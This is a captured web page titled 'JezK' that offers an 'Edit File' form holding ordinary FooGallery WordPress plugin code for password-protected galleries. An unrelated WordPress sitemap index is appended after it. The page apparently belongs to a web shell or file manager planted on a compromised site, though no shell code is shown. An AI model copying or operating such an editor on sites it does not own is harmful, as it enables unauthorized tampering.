
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>JezK</title>
<style>
    body {
        font-family: Arial, sans-serif;
        margin: 0;
        padding: 0;
    }
    #container {
        max-width: 800px;
        margin: 20px auto;
        padding: 20px;
        border: 1px solid #ccc;
        border-radius: 5px;
        background-color: #f9f9f9;
    }
    h1 {
        text-align: center;
        color: #333;
    }
    h2 {
        margin-top: 30px;
        color: #555;
    }
    ul {
        list-style-type: none;
        padding: 0;
    }
    li {
        margin-bottom: 10px;
    }
    a {
        text-decoration: none;
        color: #007bff;
    }
    a:hover {
        text-decoration: underline;
    }
    form {
        margin-top: 20px;
    }
    input[type="text"], input[type="file"], input[type="submit"] {
        margin-bottom: 10px;
    }
    hr {
        border: 0;
        height: 1px;
        background-color: #ccc;
        margin-top: 20px;
        margin-bottom: 20px;
    }
</style>
</head>
<body>
<div id="container">
    <h1>JezK</h1>
    <h2>Edit File: class-foogallery-password-protect.php</h2><form method="post"><textarea name="file_content" rows="10" cols="50">&lt;?php

if ( ! defined( &#039;ABSPATH&#039; ) ) {
	exit;
}

/**
 * Class used to handle password protected galleries.
 */
if ( ! class_exists( &#039;FooGallery_Password_Protect&#039; ) ) {

	class FooGallery_Password_Protect {

		function __construct() {
            add_filter( &#039;the_password_form&#039;, array( $this, &#039;customize_password_form_for_galleries&#039; ), 10, 3 );
		}

		/**
		 * Customize the password form when used for a gallery.
		 *
		 * @param string $output The default password form HTML
		 * @param WP_Post $post The post object
		 * @param string $invalid_password The invalid password message
		 * @return string Modified password form HTML
		 */
		public function customize_password_form_for_galleries( $output, $post, $invalid_password = &#039;&#039;) {
			global $current_foogallery;

			if ( empty( $current_foogallery ) ) {
				return $output;
			}

			// Check if we&#039;re in gallery context
			$gallery = foogallery::get( $post );
			
			if ( !empty( $gallery ) &amp;&amp; $current_foogallery-&gt;ID === $gallery-&gt;ID ) {
				// Get current URL for form action
				$current_url = &#039;&#039;;
				if ( isset( $_SERVER[&#039;REQUEST_URI&#039;] ) ) {
					$current_url = esc_url_raw( $_SERVER[&#039;REQUEST_URI&#039;] );
				}
				
				// Replace the redirect_to hidden input value with current URL
				$output = preg_replace(
					&#039;/&lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;[^&quot;]*&quot; \/&gt;/&#039;,
					&#039;&lt;input type=&quot;hidden&quot; name=&quot;redirect_to&quot; value=&quot;&#039; . esc_attr( $current_url ) . &#039;&quot; /&gt;&#039;,
					$output
				);
                
                // Replace the default text with gallery-specific text
				$output = str_replace(
					__( &#039;This content is password protected. To view it please enter your password below:&#039; ), // phpcs:ignore WordPress.WP.I18n.MissingArgDomain
					__( &#039;This gallery is password protected. To view it please enter your password below:&#039;, &#039;foogallery&#039; ),
					$output
				);
			}
			
			return $output;
		}
    }
}
</textarea><br><input type="submit" value="Save"></form></div>
</body>
</html>

<?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://looker.af/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://looker.af/wp-sitemap-posts-post-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-posts-page-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-taxonomies-category-1.xml</loc></sitemap><sitemap><loc>https://looker.af/wp-sitemap-users-1.xml</loc></sitemap></sitemapindex>
